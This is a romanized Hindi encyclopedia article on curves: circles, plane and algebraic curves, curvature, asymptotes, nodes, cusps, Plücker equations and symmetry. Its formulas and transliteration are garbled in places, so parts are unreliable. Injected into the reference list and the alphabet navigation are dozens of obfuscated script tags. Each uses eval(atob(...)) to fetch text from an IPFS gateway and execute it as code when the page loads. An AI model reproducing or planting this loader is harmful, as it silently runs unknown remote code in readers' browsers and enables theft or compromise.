वक्र

vakr (aangrezi: Curve) bolachal ki bhasha mean koee bhi tedhi medhi rekha vakr kahalati hai. ganit mean samanyataya, vakr aisi rekha hai,jisake pratyek biandu par usaki disha mean kisi vishesh niyam se hi parivartan hota hai. yah aise biandu ka path hai, jo kisi vishesh niyam se hi vicharan karata ho, jaise- vritt tatha samatal vakr.^[1]

vritt

yadi kisi biandu ki doori ek niyat biandu se sada saman rahati ho, to biandupath ek vakr hota hai jise vritt kahate haian. yah niyat biandu is vritt ka keandr hai.

samatal vakr

yadi vakr ke samast biandu ek samatal mean ho to use samatal vakr ^[2] kahate haian, anyatha use vishamataliy ^[3] ya akashiy ^[4]vakr kaha jata hai. age vakr se hamara tatpary samatal vakr hoga.

bijiy tatha abijiy vakr

pratyek vakr do charoan ke keval ek samikaran dvara vyakt kiya ja sakata hai. yadi kis vakr ke kartiy ^[5], ya prakshepiy nirdeshaankoan ka keval ek svatantr char, ya prachal ^[6], ke bijiy phalanoan ke roop mean likha ja sake, to vakr ko bijiy vakr kahate haian. is vakr ke samikaran mean keval bijiy phalan hi ate haian. yadi samikaran mean abijiy^[7]phalan ate haian, to vakr abijiy vakr kahalata hai. koee bijiy vakr kahian par toot nahian sakata ya asantat nahian ho sakata hai. usaki sparsh rekhaoan ^[8] ki dishaoan mean achanak hi parivartan nahian ho sakata hai . usaka koee bhi bhag ek sidhi rekha mean nahian ho sakata hai. is prakar kisi bijiy vakr ka yah ek samany lakshan hai ki usako banane vale biandu ki vibhinn sthitiyaan kramik aur santat hoti haian aur in bianduoan par khianchi gee sparsh rekhaoan ki disha mean parivartan bhi kramik aur santat hota hai.

udaharan- vibhinn shaankav bijiy vakroan ke aur chakraj^[9], kaitinari ^[10]adi, abijiy vakroan ke udaharan haian. vakr pratham, dvitiy, tritiy, koti ke kahe jate haian, yadi unake samikaranoan mean y (x), ya r (y) ke pratham, dvitiy, tritiy, ghat ate hoan. vritt, dirghavritt^[11]paravalay (parabola), atiparavalay (hyperbola) dvitiy koti ke vakroan ke udaharan haian. vakr kisi biandu par asantat bhi ho sakata hai. santat vakroan par vichar karate samay unhean bianduoan ki ek ekal ananti ke roop mean bhi liya ja sakata hai.^[1] kisi biandu par vakr ki vakrata us biandu par vakr ki disha mean parivartan ki matra hoti hai. yadi chitr 1. mean b (P) par vakr ki center|300px|chitr 1|thumb

vakrata kon

sparsh rekha y (X) aksh se th (y) kon banati ho, va (Q) atyant samip par doosara biandu ho jisase b ba=ach (PQ=ds) (kisi niyat biandu k (A) se b (P) ki chapiy doori ch (s) hone par), to v (P) par vakrata kahi jaegi,to ath (d y) ko vakratakon kahate haian. left|300px

yadi v (th, r) {P (x, y)} par vakr ki sparsh rekha aur abhilanb y (X) aksh ko s (T) aur g (G) par kate, to b s (PT) aur b g (P G) kramash: in donoan ki lanbaiyaan kahi jati haian. y (X) aksh par b s (P T) ke prakshep s m (T M) ko adh:- sparshi^[12]aur b g (P G) ke prakshep mag (MG) ko adholanb kahate haian. kartiy nirdeshaank die rahane par in charoan ki lanbaeeyaan kramash: hai. left|350px right|250px

anantasparshi

yadi koee sparsh rekha vakr ki kisi shakha ko mool se anant doori par sparsh karati ho, to use anantasparshi ^[13]kahate haian. udaharan- pholiyam ^[14], anantasparshi ^[15], y+r+k = 0 (x+y+a = 0) yukt vakr hai . yadi vakr mean koee aisa biandu ho, jahaan par sparsh rekha, nishchit aur advitiy n ho, to aisa, biandu vichitr biandu ^[16] kahalata hai. center|300px|chitr 2|thumb

doosare shabdoan mean aise biandu ke samip koee vichitrata ya visheshata avashy hoti hai. yadi biandu par vakr uttal se avatal, ya isaka ulta, ho raha ho, arthath‌ aise biandu par vakr ka kuchh bhag sparsh rekha ke ek or tatha kuchh bhag doosari or ho (chitr 3.), to biandu se vakr ki ek se adhik shakhaean gujarati hoan, to biandu ko bahul biandu^[17]kahate haian aur yadi vakr ki do shakhaean gujarati haian, to ise dvikh‌ ^[18]biandu, tin shakha gujarati haian to trikh‌ (triple) biandu (chitr 4.), ityadi kaha jata hai. yadi kisi aise biandu par sparsh rekhaean vastavik aur alag alag hoan, to biandu ko nod^[19]kahate haian (chitr 5.) aur yadi alag alag n hoan, to biandu koan kasp^[20] kahate haian|

sankhya n¢ = n (n-1), [n¢ = n (n-1)], nodoan ki sankhya d (d), kaspoan ki sankhya k (k), dvikh‌ sparsh rekhaoan ki sankhya d¢(d¢) aur nati parivartanoan ki sankhya k¢ (k¢) ho, to samikaranoan ke dvara in chhah rashiyoan mean paraspar sanbandh sthapit kie ja sakate haian. inamean se koee bhi tin, shesh tin ke padoan mean vyakt ho sakate haian. udaharan-

n¢ = n (n-1) -2d-3 k, [n¢ = n (n-1) - 2d-3k]

k¢ = 3n (n-2) - 6d-8k, [k¢ = 3n (n-2)-6d-8k]

k¢-k = [3 (n¢-n)], [ k¢-k = 3 (n¢-n]

2 (d¢-d) = (n¢-n) (n¢+n-9), [2 (d¢-d) = (n¢-n) (n¢+n-9] ityadi ityadi. inako plakar (Plucker) samikaran kahate haian.

m (m) aur n (n) ghatoan ke do vakroan ke ubhayanishth bianduoan ki sankhya man (mn) hoti hai aur pratyek biandu donoan vakroan ke samikaranoan ko santusht karata hai. vakr ka samikaran die rahane par vakr ka anurekhan sanbhav hota hai. charoan ke aise sangat man jnat karake, jise samikaran santusht ho jae, un anek bianduoan ka pata lag sakata hai jinase vakr gujarata hai. in bianduoan ko jo dane par vakr ki ek moti rooparekha ka pata lag jata hai. phir bhi kuchh aisi batean hoti haian jinase usake akar prakar, lakshan, svaroop adi janane mean asani ho jati haian. jaise-

(k) samamiti^[21]

yadi vakr ke samikaran mean r (y) ka koee vishamaghat nahian hai, to vakr y- aksh (X-axis) ke prati samamit hoga. yadi y (x) ka koee vishaghat nahian hai, to vakr r-aksh (Y-axis) ke prati samamit hoga, tatha y (x) aur r (y) donoan ka koee vishamaghat nahian hai, to vakr donoan akshoan ke prati samamit hoga. yadi y (x) aur r (y) ko kramash:-y (-x) aur -r (-y) rakhane se samikaran mean koee aantar nahian p data hai, to vakr sammukh chaturthaanshoan mean samamit hoga. y (x) aur r (y) ke vinimay se samikaran yadi aparivartit rahata hai, to vakr r = y (y = x) rekha ke prati samamit hoga. dhruvi samikaran mean th (q) ko -th (q) rakhane se yadi koee aantar nahian p data hai,to vakr adi rekha ke prati samamit hoga. yadi r (r) ka koee vishamaghat nahian hai, to vakr mool ke prati samamit hoga aur dhruv ek keandr hoga.

(kh) anantasparshi -inaki sankhya aur vakr ke sapeksh inaki sthiti.

(g) vakr ke natiparivartan biandu, bahul biandu, kasp, nod adi tatha inaki sankhya aur svaroop.

(gh) vakr aur aksh jahaan katate haian, un bianduoan par vakr ki sthiti aur sparsh rekhaoan ki disha adi.

(ch) mool parasparshi, vakr ke sapeksh usaki sthiti, vichitrata adi, yadi vakr mool se gujarata ho.

(chh) vakr ki simaean.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 vakr (hindi) bharatakhoj. abhigaman tithi: 27 julaee, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ Plane curve
↑ Skew
↑ Space
↑ Cartesian
↑ parameter
↑ transcendental
↑ tangents
↑ cycloid
↑ catenary
↑ ellipse
↑ subtangent
↑ Asmyptote
↑ folium
↑ asmypote
↑ Singular point
↑ Multiple point
↑ double
↑ Node
↑ Cusp
↑ Symmetry

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[nn-1] 1.0 ^1.1 vakr (hindi) bharatakhoj. abhigaman tithi: 27 julaee, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] Plane curve

[3] Skew

[4] Space

[5] Cartesian

[6] parameter

[7] transcendental

[8] tangents

[9] cycloid

[10] catenary

[11] ellipse

[12] subtangent

[13] Asmyptote

[14] folium

[15] asmypote

[16] Singular point

[17] Multiple point

[18] double

[19] Node

[20] Cusp

[21] Symmetry

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

[10]

[11]

[12]

[13]

[14]

[15]

[16]

[17]

[18]

[19]

[20]

[21]